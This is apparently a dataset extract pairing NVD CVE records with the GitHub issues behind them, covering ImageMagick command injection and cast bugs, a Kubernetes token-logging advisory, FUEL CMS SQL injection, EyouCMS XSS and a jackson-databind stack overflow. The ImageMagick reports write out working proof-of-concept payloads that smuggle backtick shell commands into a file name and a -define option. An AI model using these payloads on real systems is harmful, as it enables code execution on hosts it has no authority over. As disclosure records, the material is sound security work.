"criteria": "cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*",
"matchCriteriaId": "CC559B26-5DFC-4B7A-A27C-B77DE755DFF9",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*",
"matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*",
"matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/ImageMagick/ImageMagick/issues/6341 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### ImageMagick version
7.1.30-0
### Operating system
Linux
### Operating system, version and so on
Any
### Description
While reviewing historical vulnerabilities, I discovered several similar bugs just like issue #4985 which was later assigned CVE-2022-32546.
The original vulnerability relates to casting a width/height value in `double` to `size_t` or `unsigned long`, which denotes columns/rows number in pixels. The issue concerns about PCL format, and the fix (#4986 ) was about PCL only.
However, with a CodeQL rule, I am able to find almost the same issues in several other readers `ReadXXXImage` functions, like CAPTION, EMF, LABEL, MVG, PS, PS2, PS3, SVG, WMF. It was easy to construct sample mvg and svg files to trigger these bugs, as shown below.
### Steps to Reproduce
#### Prerequisite
configure ImageMagick with UBSAN. If compiled with gcc, specifically turn on `flow-cast-overflow`:
```bash
./configure CFLAGS='-g -fsanitize=address,undefined,float-cast-overflow -fsanitize-recover=address,undefined,float-cast-overflow' LDFLAGS='-fsanitize=address,undefined,float-cast-overflow -lasan -lubsan'
```
#### Trigger
Use the malformed sample files in the attached zip. The following commands demonstrates the bugs.
```bash
/data/home/fullwaywang/exp
➜ magick identify bitcoin.svg
coders/svg.c:2829:38: runtime error: 5e+24 is outside the range of representable values of type 'long unsigned int'
bitcoin.svg SVG 0x234 0x234+0+0 16-bit sRGB 19056B 0.010u 0:00.015
/data/home/fullwaywang/exp
➜ magick identify mvg:piechart.mvg
coders/mvg.c:180:33: runtime error: 5e+26 is outside the range of representable values of type 'long unsigned int'
identify: MustSpecifyImageSize `piechart.mvg' @ error/mvg.c/ReadMVGImage/186.
```
### Images
[samples.zip](https://github.com/ImageMagick/ImageMagick/files/11497437/samples.zip)
### Reporter
fullwaywang | Undefined behaviors of casting `double` to `size_t` in svg, mvg and other coders (recurring bugs of CVE-2022-32546) | https://api.github.com/repos/ImageMagick/ImageMagick/issues/6341/comments | 32 | 2023-05-17T11:25:22Z | 2024-05-13T17:50:37Z | https://github.com/ImageMagick/ImageMagick/issues/6341 | 1,713,682,055 | 6,341 |
CVE-2023-34152 | 2023-05-30T22:15:11.070 | A vulnerability was found in ImageMagick. This security flaw cause a remote code execution vulnerability in OpenBlob with --enable-pipes configured. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-34152"
},
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2210659"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/6339"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4UFQJCYJ23HWHNDOVKBHZQ7HCXXL6MM3/"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V2ZUHZXQ2C3JZYKPW4XHCMVVL467MA2V/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*",
"matchCriteriaId": "81FC97E7-D26F-47A4-A0D3-0E957026718D",
"versionEndExcluding": "7.1.1.11",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fedoraproject:extra_packages_for_enterprise_linux:8.0:*:*:*:*:*:*:*",
"matchCriteriaId": "BB176AC3-3CDA-4DDA-9089-C67B2F73AA62",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*",
"matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*",
"matchCriteriaId": "CC559B26-5DFC-4B7A-A27C-B77DE755DFF9",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*",
"matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*",
"matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/ImageMagick/ImageMagick/issues/6339 | [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### ImageMagick version
6.9.6-4
### Operating system
Linux
### Operating system, version and so on
Any
### Description
While reviewing historical vulnerabilities, I discovered an aribitary code execution vulnerability (shell command injection) in `OpenBlob`, which is actually an incomplete fix to CVE-2016-5118.
CVE-2016-5118 showed that opening any image file whose name starts with a '|' character, ImageMagick will `popen` the remaining part of the file name. As a fix, commit [ca430ff](https://github.com/ImageMagick/ImageMagick/commit/ca430ff77794980941ff0fa0d2fc463b50c2c6b7) add a configure option `--enable-pipes` to specially turn on the support of pipes; and in commit 40639d1, the invocation of `SanitizeString` is added before `popen_utf8` the filename to suppress aribitary command execution.
However, `SanitizeString` only filters out characters like single quotes but not `` ` `` or `"`. This allows shell command injection through malformed file name.
### Steps to Reproduce
#### Prerequisite
Configure ImageMagick with `./configure --enable-pipes`
#### Trigger
Given a normal image file, namely smile.gif, the following triggers the vulnerability:
```bash
/data/home/fullwaywang/exp
➜ echo deadbeef > test.txt
/data/home/fullwaywang/exp
➜ cp smile.gif '|smile"`cat test.txt > leak.txt`".gif'
/data/home/fullwaywang/exp
➜ magick identify '|smile"`cat test.txt > leak.txt`".gif'
sh: smile.gif: command not found
identify: ImproperImageHeader `/tmp/magick-UMqIH3bRZ6v-thgCZxEUhVyYUdKapEiV' @ error/gif.c/ReadGIFImage/1027.
/data/home/fullwaywang/exp
➜ cat leak.txt
deadbeef
```
### Images
_No response_
### Reporter
fullwaywang | RCE (shell command injection) vulnerability in `OpenBlob` with `--enable-pipes` configured | https://api.github.com/repos/ImageMagick/ImageMagick/issues/6339/comments | 10 | 2023-05-17T09:47:04Z | 2024-07-11T08:49:30Z | https://github.com/ImageMagick/ImageMagick/issues/6339 | 1,713,528,731 | 6,339 |
CVE-2023-34153 | 2023-05-30T22:15:11.143 | A vulnerability was found in ImageMagick. This security flaw causes a shell command injection vulnerability via video:vsync or video:pixel-format options in VIDEO encoding/decoding. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-34153"
},
{
"source": "[email protected]",
"tags": [
"Issue Tracking"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2210660"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/6338"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4UFQJCYJ23HWHNDOVKBHZQ7HCXXL6MM3/"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V2ZUHZXQ2C3JZYKPW4XHCMVVL467MA2V/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*",
"matchCriteriaId": "81FC97E7-D26F-47A4-A0D3-0E957026718D",
"versionEndExcluding": "7.1.1.11",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fedoraproject:extra_packages_for_enterprise_linux:8.0:*:*:*:*:*:*:*",
"matchCriteriaId": "BB176AC3-3CDA-4DDA-9089-C67B2F73AA62",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*",
"matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*",
"matchCriteriaId": "CC559B26-5DFC-4B7A-A27C-B77DE755DFF9",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*",
"matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*",
"matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/ImageMagick/ImageMagick/issues/6338 | [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### ImageMagick version
7.1.0-1
### Operating system
Linux
### Operating system, version and so on
Any
### Description
In reviewing historical vulnerabilities in ImageMagick, I discovered a shell command injection vulnerability in encoding/decoding VIDEO files, which very much resembles CVE-2020-29599.
In commit cc4638d, extra options are supported in VIDEO decode delegate execution, and through later commits, ImageMagick supports user-defined options `video:vsync` and `video:pixel-format`, with their values concatenated into delegate command executed via `ExternalDelegateCommand`.
In `ExternalDelegateCommand`, the command string is sanitized with `SanitizeString`, scanned for illegal chars then `system()`. However, the illegal char set contains only `"&;<>|"`, not quot (see [link](https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/delegate.c#L443)). This is the same mistake as in sanitizing `-authenticate` parameter in PDF password support, but the common vulnerability in `ExternalDelegateCommand` did not get fixed.
### Steps to Reproduce
#### Trigger the vulnerability in VIDEO decoding
Given a normal video file, namely `test.mov`, the following demonstrates how command injection happens.
```bash
/data/home/fullwaywang/exp
➜ echo 'deadbeef' > test.txt
/data/home/fullwaywang/exp
➜ magick identify -define video:pixel-format='rgba"`cat test.txt > /tmp/leak.txt`"' test.mov >info.log
/data/home/fullwaywang/exp
➜ tail info.log
test.mov[891] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.320u 0:00.312
test.mov[892] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.310u 0:00.298
test.mov[893] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.290u 0:00.285
test.mov[894] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.280u 0:00.271
test.mov[895] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.260u 0:00.258
test.mov[896] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.250u 0:00.244
test.mov[897] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.230u 0:00.231
test.mov[898] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.220u 0:00.218
test.mov[899] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.210u 0:00.204
test.mov[900] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 445.5MiB 0.200u 0:00.191
/data/home/fullwaywang/exp
➜ cat /tmp/leak.txt
deadbeef
```
#### Trigger the vulnerability in VIDEO encoding
Given a normal image file, namely `smile.gif`, the following demonstrates how command injection happens.
```bash
/data/home/fullwaywang/exp
➜ magick convert -define video:pixel-format='rgba"`cat test.txt > /tmp/leak3.txt`"' smile.gif smile.mov
/data/home/fullwaywang/exp
➜ cat /tmp/leak3.txt
deadbeef
```
### Images
_No response_
### Reporter
fullwaywang | Shell command injection vulnerability via `video:vsync` or `video:pixel-format` options in VIDEO encoding/decoding. | https://api.github.com/repos/ImageMagick/ImageMagick/issues/6338/comments | 2 | 2023-05-17T08:50:05Z | 2024-01-23T11:25:13Z | https://github.com/ImageMagick/ImageMagick/issues/6338 | 1,713,432,787 | 6,338 |
CVE-2023-2878 | 2023-06-07T15:15:09.377 | Kubernetes secrets-store-csi-driver in versions before 1.3.3 discloses service account tokens in logs.
| {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2,
"impactScore": 4,
"source": "[email protected]",
"type": "Secondary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/kubernetes/kubernetes/issues/118419"
},
{
"source": "[email protected]",
"tags": [
"Mailing List"
],
"url": "https://groups.google.com/g/kubernetes-security-announce/c/5K8ghQHBDdQ/m/Udee6YUgAAAJ"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://security.netapp.com/advisory/ntap-20230814-0003/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:kubernetes:secrets-store-csi-driver:*:*:*:*:*:*:*:*",
"matchCriteriaId": "FE39B6E7-61B5-482B-953C-BA5441CD85C7",
"versionEndExcluding": "1.3.3",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/kubernetes/kubernetes/issues/118419 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"kubernetes",
"kubernetes"
] | A security issue was discovered in [secrets-store-csi-driver](https://github.com/kubernetes-sigs/secrets-store-csi-driver) where an actor with access to the driver logs could observe service account tokens. These tokens could then potentially be exchanged with external cloud providers to access secrets stored in cloud vault solutions. Tokens are only logged when [TokenRequests is configured in the CSIDriver object](https://kubernetes-csi.github.io/docs/token-requests.html) and the driver is set to run at log level 2 or greater via the -v flag.
This issue has been rated **MEDIUM** [CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) (6.5), and assigned **CVE-2023-2878**
**Am I vulnerable?**
You may be vulnerable if [TokenRequests is configured in the CSIDriver object](https://kubernetes-csi.github.io/docs/token-requests.html) and the driver is set to run at log level 2 or greater via the -v flag.
To check if token requests are configured, run the following command:
```shell
kubectl get csidriver secrets-store.csi.k8s.io -o jsonpath="{.spec.tokenRequests}"
```
To check if tokens are being logged, examine the secrets-store container log:
```shell
kubectl logs -l app=secrets-store-csi-driver -c secrets-store -f | grep --line-buffered "csi.storage.k8s.io/serviceAccount.tokens"
```
**Affected Versions**
- secrets-store-csi-driver < 1.3.3
**How do I mitigate this vulnerability?**
Prior to upgrading, this vulnerability can be mitigated by running secrets-store-csi-driver at log level 0 or 1 via the -v flag.
**Fixed Versions**
- secrets-store-csi-driver >= 1.3.3
To upgrade, refer to the documentation: [https://secrets-store-csi-driver.sigs.k8s.io/getting-started/upgrades.html#upgrades](https://secrets-store-csi-driver.sigs.k8s.io/getting-started/upgrades.html#upgrades)
**Detection**
Examine cloud provider logs for unexpected token exchanges, as well as unexpected access to cloud vault secrets.
If you find evidence that this vulnerability has been exploited, please contact [[email protected]](mailto:[email protected])
**Acknowledgements**
This vulnerability was reported by Tomer Shaiman `@tshaiman` from Microsoft.
/area security
/kind bug
/committee security-response
/label official-cve-feed
/sig auth | CVE-2023-2878: secrets-store-csi-driver discloses service account tokens in logs | https://api.github.com/repos/kubernetes/kubernetes/issues/118419/comments | 1 | 2023-06-02T19:03:54Z | 2023-06-02T19:04:34Z | https://github.com/kubernetes/kubernetes/issues/118419 | 1,738,671,677 | 118,419 |
CVE-2023-33557 | 2023-06-09T18:15:09.693 | Fuel CMS v1.5.2 was discovered to contain a SQL injection vulnerability via the id parameter at /controllers/Blocks.php. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/bcvgh/fuel-cms-sqlinjection/blob/main/README.md"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/daylightstudio/FUEL-CMS/issues/604"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:thedaylightstudio:fuel_cms:1.5.2:*:*:*:*:*:*:*",
"matchCriteriaId": "E3A44312-83D2-4421-9A35-3FD048EA578A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/daylightstudio/FUEL-CMS/issues/604 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"daylightstudio",
"FUEL-CMS"
] | login required.
fuel/modules/fuel/controllers/Blocks.php
line 64 import_view method starts
Line 70 receives the id parameter of the post request and enters the import method

fuel/modules/fuel/libraries/Fuel_blocks.php
Then enter the find_by_key method on line 307

Because the find_by_key method does not exist, enter the __call method of the current object
Enter line 4421 of MY_Model.php, pass parameters to $this->db->where() method

At this time, the external input string is spliced into the SQL statement through the $this->db->where() method, But at this time, the external input will be surrounded by single quotes because of codeigniter's safe processing of the where method, so the injection has not yet been caused..

Until line 4450, the user's external input is stored in the $other_args array at this time, and has not been processed safely

Enter the $this->db->order_by() method, at this time the external input is spliced into the sql statement again, and there is no single quotation mark included

Finally, the $this->db->get() method executes the database command, causing sql injection


sqlmap:

| FUEL CMS 1.5.2 allows SQL Injection via parameter 'id' in fuel/modules/fuel/controllers/Blocks.php | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/604/comments | 2 | 2023-05-12T02:24:19Z | 2023-05-12T15:50:17Z | https://github.com/daylightstudio/FUEL-CMS/issues/604 | 1,706,820,945 | 604 |
CVE-2023-33492 | 2023-06-12T13:15:10.300 | EyouCMS 1.6.2 is vulnerable to Cross Site Scripting (XSS). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/42"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.6.2:*:*:*:*:*:*:*",
"matchCriteriaId": "5B87F220-D05C-4885-8C0E-E5BD8D8DFB66",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/weng-xianhu/eyoucms/issues/42 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"weng-xianhu",
"eyoucms"
] | EyouCMS v1.6.2 has a vulnerability that stores cross-site scripting



| EyouCMS v1.6.2 has a vulnerability that stores cross-site scripting | https://api.github.com/repos/weng-xianhu/eyoucms/issues/42/comments | 0 | 2023-05-03T12:02:15Z | 2024-03-22T06:50:30Z | https://github.com/weng-xianhu/eyoucms/issues/42 | 1,693,938,455 | 42 |
CVE-2023-35116 | 2023-06-14T14:15:10.960 | jackson-databind through 2.15.2 allows attackers to cause a denial of service or other unspecified impact via a crafted object that uses cyclic dependencies. NOTE: the vendor's perspective is that this is not a valid vulnerability report, because the steps of constructing a cyclic data structure and trying to serialize it cannot be achieved by an external attacker. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 4.7,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/FasterXML/jackson-databind/issues/3972"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*",
"matchCriteriaId": "ADC74502-D1EA-4E63-BBFF-8DE51013DCCE",
"versionEndExcluding": "2.16.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/FasterXML/jackson-databind/issues/3972 | [
"Issue Tracking"
] | github.com | [
"FasterXML",
"jackson-databind"
] | # Stack overflow error caused by jackson serialization Map
## Description
jackson before v2.15.2 was discovered to contain a stack overflow via the map parameter.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at java.base/java.lang.String.startsWith(String.java:1470)
at com.fasterxml.jackson.databind.util.ClassUtil.isJDKClass(ClassUtil.java:1163)
at com.fasterxml.jackson.databind.introspect.BasicClassIntrospector._findStdTypeDesc(BasicClassIntrospector.java:258)
at com.fasterxml.jackson.databind.introspect.BasicClassIntrospector.forSerialization(BasicClassIntrospector.java:80)
at com.fasterxml.jackson.databind.introspect.BasicClassIntrospector.forSerialization(BasicClassIntrospector.java:11)
at com.fasterxml.jackson.databind.SerializationConfig.introspect(SerializationConfig.java:906)
at com.fasterxml.jackson.databind.ser.BasicSerializerFactory.createKeySerializer(BasicSerializerFactory.java:210)
at com.fasterxml.jackson.databind.SerializerProvider.findKeySerializer(SerializerProvider.java:915)
at com.fasterxml.jackson.databind.SerializerProvider.findKeySerializer(SerializerProvider.java:926)
at com.fasterxml.jackson.databind.ser.impl.PropertySerializerMap.findAndAddKeySerializer(PropertySerializerMap.java:144)
at com.fasterxml.jackson.databind.ser.std.StdKeySerializers$Dynamic._findAndAddDynamic(StdKeySerializers.java:284)
at com.fasterxml.jackson.databind.ser.std.StdKeySerializers$Dynamic.serialize(StdKeySerializers.java:262)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:797)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
